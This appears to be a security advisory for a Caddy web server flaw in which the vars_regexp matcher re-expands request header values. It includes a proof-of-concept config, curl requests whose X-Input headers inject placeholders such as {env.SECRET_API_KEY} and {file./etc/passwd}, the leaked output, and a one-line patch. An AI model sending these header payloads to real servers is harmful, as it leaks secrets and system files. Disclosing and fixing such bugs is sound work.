CVE-2026-30852 is a low severity vulnerability with a CVSS score of 0.0. No known exploits currently, and patches are available.
Very low probability of exploitation
EPSS predicts the probability of exploitation in the next 30 days based on real-world threat data, complementing CVSS severity scores with actual risk assessment.
The vars_regexp matcher in vars.go:337 double-expands user-controlled input through the Caddy replacer. When vars_regexp matches against a placeholder like {http.request.header.X-Input}, the header value gets resolved once (expected), then passed through repl.ReplaceAll() again (the bug). This means an attacker can put {env.DATABASE_URL} or {file./etc/passwd} in a request header and the server will evaluate it, leaking environment variables, file contents, and system info.
header_regexp does NOT do this — it passes header values straight to Match(). So this is a code-level inconsistency, not intended behavior.
The bug is at modules/caddyhttp/vars.go, line 337 in MatchVarsRE.MatchWithError():
valExpanded := repl.ReplaceAll(varStr, "")
if match := val.Match(valExpanded, repl); match {
When the key is a placeholder like {http.request.header.X-Input}, repl.Get() resolves it to the raw header value (first expansion, line 318). Then repl.ReplaceAll() runs on that value again (second expansion, line 337), which evaluates any {env.*}, {file.*}, {system.*} placeholders the user put in there.
For comparison, header_regexp (matchers.go:1129) and path_regexp (matchers.go:703) both pass values directly to Match() without this second expansion.
This repl.ReplaceAll() was added by PR #5408 to fix #5406 (vars_regexp not working with placeholder keys). The fix was needed for resolving the key, but it also re-expands the resolved value, which is the bug.
Side-by-side proof that this is a code bug, not misconfiguration — same header, same regex, different behavior:*
Config with both matchers on the same server:
{
"admin": {"disabled": true},
"apps": {
"http": {
"servers": {
"srv0": {
"listen": [":8080"],
"routes": [
{
"match": [{"path": ["/header_regexp"], "header_regexp": {"X-Input": {"name": "hdr", "pattern": ".+"}}}],
"handle": [{"handler": "static_response", "body": "header_regexp: {http.regexp.hdr.0}"}]
},
{
"match": [{"path": ["/vars_regexp"], "vars_regexp": {"{http.request.header.X-Input}": {"name": "var", "pattern": ".+"}}}],
"handle": [{"handler": "static_response", "body": "vars_regexp: {http.regexp.var.0}"}]
}
]
}
}
}
}
}
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$ export SECRET=supersecretvalue123
$ curl -H 'X-Input: {env.HOME}' http://127.0.0.1:8080/header_regexp
header_regexp: {env.HOME} # literal string, safe
$ curl -H 'X-Input: {env.HOME}' http://127.0.0.1:8080/vars_regexp
vars_regexp: /Users/test # expanded — env var leaked
$ curl -H 'X-Input: {env.SECRET}' http://127.0.0.1:8080/header_regexp
header_regexp: {env.SECRET} # literal string, safe
$ curl -H 'X-Input: {env.SECRET}' http://127.0.0.1:8080/vars_regexp
vars_regexp: supersecretvalue123 # secret leaked
$ curl -H 'X-Input: {file./etc/hosts}' http://127.0.0.1:8080/header_regexp
header_regexp: {file./etc/hosts} # literal string, safe
$ curl -H 'X-Input: {file./etc/hosts}' http://127.0.0.1:8080/vars_regexp
vars_regexp: ## # file contents leaked
Save this as config.json:
{
"admin": {"disabled": true},
"apps": {
"http": {
"servers": {
"srv0": {
"listen": [":8080"],
"routes": [
{
"match": [
{
"vars_regexp": {
"{http.request.header.X-Input}": {
"name": "leak",
"pattern": ".+"
}
}
}
],
"handle": [
{
"handler": "static_response",
"body": "Result: {http.regexp.leak.0}"
}
]
},
{
"handle": [
{
"handler": "static_response",
"body": "No match",
"status_code": "200"
}
]
}
]
}
}
}
}
}
Start Caddy:
export SECRET_API_KEY=sk-PRODUCTION-abcdef123456
caddy run --config config.json
Requests and output:
$ curl -v -H 'X-Input: hello' http://127.0.0.1:8080
* Trying 127.0.0.1:8080...
* Connected to 127.0.0.1 (127.0.0.1) port 8080
> GET / HTTP/1.1
> Host: 127.0.0.1:8080
> User-Agent: curl/8.7.1
> Accept: */*
> X-Input: hello
>
* Request completely sent off
< HTTP/1.1 200 OK
< Content-Type: text/plain; charset=utf-8
< Server: Caddy
< Date: Wed, 18 Feb 2026 23:15:45 GMT
< Content-Length: 13
<
Leaked: hello
$ curl -v -H 'X-Input: {env.HOME}' http://127.0.0.1:8080
* Trying 127.0.0.1:8080...
* Connected to 127.0.0.1 (127.0.0.1) port 8080
> GET / HTTP/1.1
> Host: 127.0.0.1:8080
> User-Agent: curl/8.7.1
> Accept: */*
> X-Input: {env.HOME}
>
* Request completely sent off
< HTTP/1.1 200 OK
< Content-Type: text/plain; charset=utf-8
< Server: Caddy
< Date: Wed, 18 Feb 2026 23:15:45 GMT
< Content-Length: 20
<
Leaked: /Users/test
$ curl -v -H 'X-Input: {env.SECRET_API_KEY}' http://127.0.0.1:8080
* Trying 127.0.0.1:8080...
* Connected to 127.0.0.1 (127.0.0.1) port 8080
> GET / HTTP/1.1
> Host: 127.0.0.1:8080
> User-Agent: curl/8.7.1
> Accept: */*
> X-Input: {env.SECRET_API_KEY}
>
* Request completely sent off
< HTTP/1.1 200 OK
< Content-Type: text/plain; charset=utf-8
< Server: Caddy
< Date: Wed, 18 Feb 2026 23:15:45 GMT
< Content-Length: 34
<
Leaked: sk-PRODUCTION-abcdef123456
$ curl -v -H 'X-Input: {file./etc/hosts}' http://127.0.0.1:8080
* Trying 127.0.0.1:8080...
* Connected to 127.0.0.1 (127.0.0.1) port 8080
> GET / HTTP/1.1
> Host: 127.0.0.1:8080
> User-Agent: curl/8.7.1
> Accept: */*
> X-Input: {file./etc/hosts}
>
* Request completely sent off
< HTTP/1.1 200 OK
< Content-Type: text/plain; charset=utf-8
< Server: Caddy
< Date: Wed, 18 Feb 2026 23:15:45 GMT
< Content-Length: 10
<
Leaked: ##
Also works with {system.hostname}, {system.os}, {env.PATH}, etc.
Debug log (server starts clean, no errors):
{"level":"info","ts":1771456228.917303,"msg":"maxprocs: Leaving GOMAXPROCS=16: CPU quota undefined"}
{"level":"info","ts":1771456228.917334,"msg":"GOMEMLIMIT is updated","GOMEMLIMIT":15461882265,"previous":9223372036854775807}
{"level":"info","ts":1771456228.9173398,"msg":"using config from file","file":"config.json"}
{"level":"warn","ts":1771456228.917349,"logger":"admin","msg":"admin endpoint disabled"}
{"level":"info","ts":1771456228.917928,"logger":"tls.cache.maintenance","msg":"started background certificate maintenance","cache":"0x340775faa300"}
{"level":"warn","ts":1771456228.920725,"logger":"http","msg":"HTTP/2 skipped because it requires TLS","network":"tcp","addr":":8080"}
{"level":"warn","ts":1771456228.920738,"logger":"http","msg":"HTTP/3 skipped because it requires TLS","network":"tcp","addr":":8080"}
{"level":"info","ts":1771456228.920741,"logger":"http.log","msg":"server running","name":"srv0","protocols":["h1","h2","h3"]}
{"level":"info","ts":1771456228.9210382,"msg":"autosaved config (load with --resume flag)"}
{"level":"info","ts":1771456228.921052,"msg":"serving initial configuration"}
Information disclosure. An attacker can leak:
{env.DATABASE_URL}, {env.AWS_SECRET_ACCESS_KEY}, etc.){file./etc/passwd}, {file./proc/self/environ}){system.hostname}, {system.os}, {system.wd})Requires a config where vars_regexp matches user-controlled input and the capture group is reflected back. The bug was introduced by PR #5408 (fix for #5406), affecting all versions since.
Suggested one-line fix:
--- a/modules/caddyhttp/vars.go
+++ b/modules/caddyhttp/vars.go
@@ -334,7 +334,7 @@
varStr = fmt.Sprintf("%v", vv)
}
- valExpanded := repl.ReplaceAll(varStr, "")
+ valExpanded := varStr
if match := val.Match(valExpanded, repl); match {
return match, nil
}
This makes vars_regexp consistent with header_regexp and path_regexp. Placeholder key resolution (lines 315-318) is unaffected.
Tested on latest main commit at 95941a71 (2026-02-17).
AI Disclosure: Used Claude (Anthropic) during code review and testing. All findings verified manually.